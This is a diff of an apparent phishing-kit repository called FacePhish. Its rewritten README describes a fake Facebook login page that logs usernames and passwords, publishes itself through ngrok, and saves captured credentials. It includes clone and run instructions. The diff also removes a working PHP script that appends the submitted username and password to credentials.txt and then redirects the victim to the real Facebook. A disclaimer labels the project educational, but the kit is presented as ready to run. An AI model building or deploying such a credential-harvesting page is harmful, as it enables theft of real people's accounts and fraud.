···11-# Facebook Phishing Page
11+# 🕵️♂️ FacePhish - For Educational Purposes Only
22+33+44+55+> ⚠️ **Disclaimer**
66+>
77+> This project is intended **strictly for educational and ethical hacking awareness purposes only.**
88+>
99+> - Do **not** use this project for malicious purposes.
1010+> - The author **does not condone** illegal activity and is **not responsible** for any misuse.
1111+> - Always conduct security testing **only in authorized environments** with **explicit permission**.
1212+> - This repository is meant to help individuals and professionals understand phishing mechanics and learn how to defend against them.
1313+1414+1515+1616+<br>
1717+1818+## 📸 Preview
1919+2020+
2121+2222+2323+<br>
2424+2525+## 🚀 Features
2626+2727+- Fake Facebook login page styled like the real interface
2828+- Logs username and password attempts
2929+- Automatically generates public forwarding using **ngrok**
3030+- Logs output in real-time to console
3131+- Dynamic PHP server running on a random available 4-digit port
3232+3333+3434+3535+<br>
3636+3737+## ⚙️ Installation & Setup
3838+3939+4040+```bash
4141+# 1. Clone this repository
4242+git clone https://github.com/hatixntsoa/facephish.git
24333-## A simple phishing Page using php
44-#### DISCLAIMER : Use it for ethical purposes only !
4444+# 2. Change to the project directory
4545+cd facephish
54666-- Setup the project
77-```shell
88-git clone https://github.com/h471x/facebook.git /var/www/html
99-```
1010-- Get to the project
1111-```shell
1212-cd /var/www/html/facebook
4747+# 3. Give execution permission to the script
4848+chmod +x facephish.sh
4949+5050+# 4. Run the phishing server
5151+./facephish.sh
5252+````
5353+5454+5555+> ✅ Ensure you have both **PHP** and **ngrok** installed on your system.
5656+5757+5858+5959+<br>
6060+6161+## 📁 Project Structure
6262+6363+1364```
1414-- credentials.txt configurations
1515-```shell
1616-sudo chmod u+x config/setup_credentials.sh
1717-./config/setup_credentials.sh
6565+.
6666+├── app/
6767+│ └── facephish.php
6868+├── assets/
6969+│ ├── images/
7070+│ ├── scripts/
7171+│ └── styles/
7272+├── data/
7373+│ └── credentials.txt // saved credentials
7474+├── logs/
7575+├── screenshots/
7676+├── index.html
7777+├── facephish.sh
7878+├── LICENSE.md
7979+└── README.md
1880```
8181+8282+8383+8484+8585+<br>
8686+8787+## 📌 Requirements
8888+8989+* **PHP** ≥ 7.x
9090+* **ngrok** with authenticated account (set up via `ngrok authtoken`)
9191+* Unix-like environment (Linux/macOS or WSL on Windows)
9292+9393+9494+<br>
9595+9696+## 📚 Legal Note
9797+9898+This repository is designed to demonstrate **how phishing works**, so that developers, companies, and users can better understand and **protect themselves** from real threats.
9999+100100+Use it **ethically** and **legally**.
-25
app/controllers/facebook.php
···11-<?php
22- if (isset($_POST['username'])) {
33- $username = $_POST['username'];
44- }
55-66- if (isset($_POST['password'])) {
77- $password = $_POST['password'];
88- }
99-1010- $file = fopen('../../credentials.txt', 'a');
1111- if ($file) {
1212- // Set the GMT offset to +3
1313- $gmt = 3;
1414- $dateTime = new DateTime("now", new DateTimeZone("GMT"));
1515- $dateTime->modify("+$gmt hours");
1616- $formattedDateTime = $dateTime->format('m/d/Y H:i');
1717-1818- fwrite($file, "$formattedDateTime\n\nUsername: $username\nPassword: $password\n________________\n\n");
1919- fclose($file);
2020- header("Location: https://facebook.com");
2121- exit();
2222- } else {
2323- echo "Unable to open file.";
2424- }
2525-?>